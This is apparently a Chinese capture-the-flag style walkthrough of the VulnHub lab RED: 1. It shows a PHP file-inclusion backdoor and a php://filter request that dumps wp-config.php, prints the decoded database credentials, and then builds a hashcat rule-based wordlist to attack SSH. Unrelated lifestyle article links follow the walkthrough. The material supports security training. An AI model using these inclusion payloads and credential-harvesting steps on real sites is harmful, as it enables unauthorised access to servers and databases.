vulnhub靶场之RED: 1( 二 ) _生活百科

源码信息：
<?php$file = $_GET['key'];if(isset($file)){include("$file");}else{include("NetworkFileManagerPHP.php");}/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */?源码中得base64字符串信息：
That password alone won't help you! Hashcat says rules are rules读取下wp-config.php的文件信息，命令：http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php，获得base64加密的wp-config.php文件进行解密，获得mysql的账户名和密码：john/R3v_m4lwh3r3_k1nG!!
base64字符串信息：
PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB源码信息：
<?php/** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the web site, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define( 'DB_NAME', 'wordpress' );/** MySQL database username */define( 'DB_USER', 'john' );/** MySQL database password */define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );/** MySQL hostname */define( 'DB_HOST', 'localhost' );/** Database Charset to use in creating database tables. */define( 'DB_CHARSET', 'utf8' );/** The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );define('FS_METHOD', 'direct');define('WP_SITEURL', 'http://redrocks.win');define('WP_HOME', 'http://redrocks.win');/**#@+ * Authentication unique keys and salts. * * Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}. * * You can change these at any point in time to invalidate all existing cookies. * This will force all users to have to log in again. * * @since 2.6.0 */define('AUTH_KEY','2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');define('SECURE_AUTH_KEY','ah}<I`52GL6C^@发现数据库的账号和密码想起来查看/etc/passwd时存在一个john账户，那就使用ssh协议尝试登录以下，但是登录失败，然后又想起来了：That password alone won't help you! Hashcat says rules are rules，那就需要使用hashcat进行碰撞了，因为这些源码中的信息加密方式采用的base64，因此选择base64的规则进行碰撞，如果这里遇到问题，可以去https://www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下载该文件进行解压，然后执行./install.sh即可，命令：hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt 。

vulnhub靶场之RED: 1( 二 )

推荐阅读

裤子掉档是什么意思啊裤子掉档的怎么处理

迢迢牵牛星中脉脉的意思

分享29个营销理论什么是色彩营销？

南京有红宝石蛋糕店吗，红宝石蛋糕店

常见的美系车品牌有哪些美国汽车品牌排行榜前十名

传奇三新手必看攻略传奇3地图新手怎么样玩

黑衣人迅雷黑衣人迅雷mp4下载

一带一路什么意思一带一路是指什么

这些生肖最喜欢送对方定情信物？

2022呼和浩特疫情期间地铁进站乘车最新要求

女人排毒吃什么最好女生吃什么排毒

哈弗m6车身颜色有几种哈弗M6有哪几种颜色

吉利博越m挡什么时候用吉利博越M挡有什么用

分享华为手机换电池步骤华为智能手机怎么换电池教程

孩子有了个假想中的朋友，家长速度反思是否平时忽略了孩子？

灵芝红枣水的功效灵芝红枣水的正确煮法

亚历山大大帝东征最远到达了哪里

有没有哪些相亲渠道免费且靠谱？

身体突然长胖是因为缺乏什么因素吗？

蛋白质粉里含雌激素吗？蛋白质粉中会含有雌激素吗